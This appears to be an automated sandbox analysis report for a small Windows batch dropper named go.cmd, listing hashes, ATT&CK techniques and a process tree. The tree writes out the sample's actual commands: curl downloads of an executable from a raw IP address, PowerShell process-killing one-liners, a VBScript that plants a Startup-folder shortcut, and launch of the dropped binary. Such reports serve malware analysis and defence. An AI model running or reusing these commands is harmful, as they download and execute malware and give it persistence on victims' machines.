326e5d06f2b04f464df5fcf7a286cb283c5838f0e7e6228fcb3d4cd9834d7034

Analysis

user interaction
yes
max time kernel
598s
max time network
474s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/10/2026, 14:32

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General

Target
go.cmd
Size 2KB
Sample261023-rwkftaev4m
SHA256 326e5d06f2b04f464df5fcf7a286cb283c5838f0e7e6228fcb3d4cd9834d7034
MD5 3c5dda4adc531a62ad652b43a0928908
SHA1 0e820a132466a9c7e8a5006d8f3c813981934c5c
SHA512 1920c779037be07097500331a47838fe381b0dbf7b1720f158eda0d8094ed930cfd5c8bd075478fe13178215863327f50b0846fd7ff5a555f4632d770b3dd851
TLSH
T1D441DA1369189011281928445627CD77BF92F1A602CBEEB074C7EC571A12CCBE3EFB87
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion execution persistence privilege_escalation

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
3	4620	curl.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!6938!.lnk	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
2060	!6938!.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4836	wscript.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4328	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4716	cmd.exe
2696	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5004	powershell.exe
5004	powershell.exe
4328	powershell.exe
4328	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeIncreaseQuotaPrivilege	4328	powershell.exe
Token: SeSecurityPrivilege	4328	powershell.exe
Token: SeTakeOwnershipPrivilege	4328	powershell.exe
Token: SeLoadDriverPrivilege	4328	powershell.exe
Token: SeSystemProfilePrivilege	4328	powershell.exe
Token: SeSystemtimePrivilege	4328	powershell.exe
Token: SeProfSingleProcessPrivilege	4328	powershell.exe
Token: SeIncBasePriorityPrivilege	4328	powershell.exe
Token: SeCreatePagefilePrivilege	4328	powershell.exe
Token: SeBackupPrivilege	4328	powershell.exe
Token: SeRestorePrivilege	4328	powershell.exe
Token: SeShutdownPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeSystemEnvironmentPrivilege	4328	powershell.exe
Token: SeRemoteShutdownPrivilege	4328	powershell.exe
Token: SeUndockPrivilege	4328	powershell.exe
Token: SeManageVolumePrivilege	4328	powershell.exe
Token: 33	4328	powershell.exe
Token: 34	4328	powershell.exe
Token: 35	4328	powershell.exe
Token: 36	4328	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4716 wrote to memory of 4620	4716	cmd.exe	85
PID 4716 wrote to memory of 4832	4716	cmd.exe	86
PID 4716 wrote to memory of 4868	4716	cmd.exe	87
PID 4716 wrote to memory of 5004	4716	cmd.exe	88
PID 4716 wrote to memory of 4328	4716	cmd.exe	89
PID 4716 wrote to memory of 4836	4716	cmd.exe	93
PID 4716 wrote to memory of 2696	4716	cmd.exe	94
PID 2696 wrote to memory of 2060	2696	cmd.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\go.cmd"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4716
- C:\Windows\system32\curl.exe
  curl -L --fail -o "C:\Users\Admin\AppData\Local\Temp\c6938\Instalar.exe" http://173.249.49.225:3917/atualizacao/Instalar.exe
  2⤵
  - Downloads MZ/PE file
  PID:4620
- C:\Windows\system32\curl.exe
  curl -L --fail -o "C:\Users\Admin\AppData\Local\Temp\c6938\Instalar.exe.config" http://173.249.49.225:3917/atualizacao/Instalar.exe.config
  2⤵
  PID:4832
- C:\Windows\system32\curl.exe
  curl -L --fail -o "C:\Users\Admin\AppData\Local\Temp\c6938\cliente.dat" http://173.249.49.225:3917/atualizacao/cliente.dat?t=d27c37246e7343e65a4ea6a5a07ae55b
  2⤵
  PID:4868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -C "if(([IO.File]::ReadAllBytes($env:st+'\Instalar.exe')[0]) -ne 77){exit 1}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -Command "Get-CimInstance Win32_Process | Where-Object { $_.ExecutablePath -match 'Microsoft\\Windows\\Caches' } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4328
- C:\Windows\system32\wscript.exe
  wscript //nologo "C:\Users\Admin\AppData\Local\Temp\c6938\m.vbs"
  2⤵
  - Creates a file in the Startup directory
  - Executes a VBScript file via the Windows Script Host.
  PID:4836
- C:\Windows\system32\cmd.exe
  cmd /d /c "C:\Users\Admin\AppData\Local\Temp\c6938\runonce.cmd"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\!6938!\!6938!.exe
    "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\!6938!\!6938!.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\!6938!\!6938!.dat"
    3⤵
    - Executes dropped EXE
    PID:2060

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe
MD5 440cb38dbee06645cc8b74d51f6e5f71
SHA1 d7e61da91dc4502e9ae83281b88c1e48584edb7c
SHA512 3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6
TLSH
T1A351EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

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!6938!.bat

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\!6938!\!6938!.bat
Size 245B
SHA256 71a8835a52f866ced389f718188980a8e2ca43231b77ad75b7a9f73daf7a6727
MD5 593b84d5b5c6c2c33b152f26346d089f
SHA1 11f32cd09f6c617db5a08deaccbe56cb3632589a
SHA512 38b6ef92be90d50078e0b63062a6a21c9d77138f419af750a8952a8bc4e326560a36e87173cb9bf8310153ca593cbda004e76d52b410e50ec9e3d272eb1608ed
TLSH
T1A4D05B03975DD40B643418170757765CE71510473501BB011240A41DE5C7D4CE8CB1D2
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 c996bf4b91216b1cc20d35a194ffd2f20f905dd376eaed1c216cf6d34605bb42
MD5 38e20ed4cd89e45716595875c0aecb00
SHA1 021766c036be653eab8359d8f348bfe7fc0d960a
SHA512 9000f2ec80d695ec30f634c1a38dc56dc5377024420693af537a8866e2a52036bb430d7eca26e3ae3f9bbaaa151ee66ea2582483a472f81f2501aa7b9df01506
TLSH
T13E116223F38C8920CC86063A409CAC5172B586CB81AEDF9F7BC0C210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_444ds5zy.xfp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_444ds5zy.xfp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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Instalar.exe

Path C:\Users\Admin\AppData\Local\Temp\c6938\Instalar.exe
Size 1.1MB
SHA256 afdd602c8598d32b978e7aa980541c16547d7db2ce2a5a2b454f04a3bc20cba6
MD5 9e6b37d4c5652ee2e578a951b51438b1
SHA1 83625f24b3cbf853c306b16bc8877f7cb2fa9c91
SHA512 844b7fadc7e65d79755dee20d98a2b0a09ab28b44edf9a187d889fb08323dc0e68913d8305e3f7abba5bec58bc6ad2801a0a36ba2ed9bd76e9b07d03fab1df50
SSDEEP 24576:HsTBc4JYoji1a2gOI6fQJ77jkD1KV3wKct4frNFOBX:MTC4a4p+E72SwRcrK9
TLSH
T1AB356C0663A4419EFEA7F1329607C60BD6B17C4A07779A6F02646B726F337711A2E331
MD5 SHA1 SHA512 SSDEEP TLSH

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cliente.dat

Path C:\Users\Admin\AppData\Local\Temp\c6938\cliente.dat
Size 166B
SHA256 4bb3226645af9e095521e410021d20b2fdb1bef0f7e673d487fce7939610ee19
MD5 d97a05b6ac382cfccd5c5206bad81363
SHA1 6b8a577ae56ce1a95d8aa5d462d24a2da778bf08
SHA512 648b0d45c6533bf6eabbc956f7356da3b062916437c7c10bf01ff179ea2c498f99ff98363ab579e1f9a5eb38d8de91d53baff998023e8ea5e7047ed7925fa63a
TLSH
T169C08CDE8C91A405D9903AC0CED2F29C588EB2A57681CD4128C06578765C36ADD0BAC9
MD5 SHA1 SHA512 TLSH

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m.vbs

Path C:\Users\Admin\AppData\Local\Temp\c6938\m.vbs
Size 303B
SHA256 93cca9ca45f0a102dd77ff703b54f24ada95db3977effdf7b6a489d94bcd379b
MD5 3920d23000f0368dde1fa382f3959d51
SHA1 1540cfbe4c4dd2f81893465535d1a554e3bcb037
SHA512 334faddd13058bbb3297793267c3b750d4a22564bdef3f404139eaeee422d428b6f535fbd2ba96cb76c261db1518cf6f8a526065b5f15720d6370ae804f1bfdf
TLSH
T1D8E07D0AB31CE453692110830963F90C83A084463111EF041100F60CB0C2C589D9B0D3
MD5 SHA1 SHA512 TLSH

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runonce.cmd

Path C:\Users\Admin\AppData\Local\Temp\c6938\runonce.cmd
Size 169B
SHA256 9e354ae5501ebf3fd8f39ff98dd1c964b867b1ed843f1891dc922d2cbe42bcf4
MD5 94ab6331cae565f86bde28e141a3b127
SHA1 688115b7a97dbd95e5a6519453cceb54490654e5
SHA512 91a11c63d9573209721a7f69232b9d031ca1dced8df8a38e19afae44d2d80fa9b5a410c33badb016d6d792c3b1842f48bb36e7648f6d4ea4a653c512c51b9892
TLSH
T1F5C08003574DD40B78301C1703973754B31510473501BB011240745DE6C7C5DF8CF1D2
MD5 SHA1 SHA512 TLSH

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memory/4328-25-0x00000243AC930000-0x00000243AC954000-memory.dmp

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memory/4328-24-0x00000243AC930000-0x00000243AC95A000-memory.dmp

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memory/5004-11-0x00000279A5680000-0x00000279A56A2000-memory.dmp

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memory/5004-3-0x000002798B1A0000-0x000002798B1B0000-memory.dmp

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memory/5004-2-0x000002798B1A0000-0x000002798B1B0000-memory.dmp

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